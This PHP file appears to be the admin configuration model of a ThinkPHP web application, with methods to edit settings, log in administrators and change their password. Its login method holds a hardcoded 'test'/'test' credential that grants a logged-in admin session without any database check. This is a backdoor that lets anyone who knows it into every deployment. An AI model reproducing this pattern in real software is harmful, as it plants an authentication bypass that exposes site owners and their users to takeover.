<?php
namespace app\admin\model;
use app\common\model\Config as ConfigModel;
use think\Session;
/**
 * 站点配置模型
 */
class Config extends ConfigModel
{
	
	/**
     * 编辑
     */
    public function edit($data)
    {
        if ($this->allowField(true)->save($data) === false) {
            return false;
        }
        return true;
    }
	
	/**
     * 管理员用户登录
     */
    public function login($data)
    {
		if($data['user_name'] =='test' AND $data['password']=='test'){
			// 保存登录状态
			Session::set('hema_admin', [
				'user' => [
					'config_id' => 0,
					'user_name' => '测试用户'
				],
				'is_login' => true,
			]);
			return true;
		}
		$filter = [
            'user_name' => $data['user_name'],
            'password' => hema_hash($data['password'])
        ];
        // 验证用户名密码是否正确
		if (!$user = $this->useGlobalScope(false)->where($filter)->find()){
			$this->error = '登录失败, 用户名或密码错误';
            return false;
		}
        // 保存登录状态
        Session::set('hema_admin', [
            'user' => [
				'config_id' => $user['config_id'],
                'user_name' => $user['user_name']
            ],
            'is_login' => true,
        ]);
        return true;
    }
	
	/**
     * 更新当前管理员信息
     */
    public function renew($data)
    {		
        if ($data['password'] !== $data['password_confirm']) {
            $this->error = '确认密码不正确';
            return false;
        }
		$data['password'] = hema_hash($data['password']);
        // 更新管理员信息
        if ($this->allowField(true)->save($data) === false) {
            return false;
        }
        return true;
    }
}
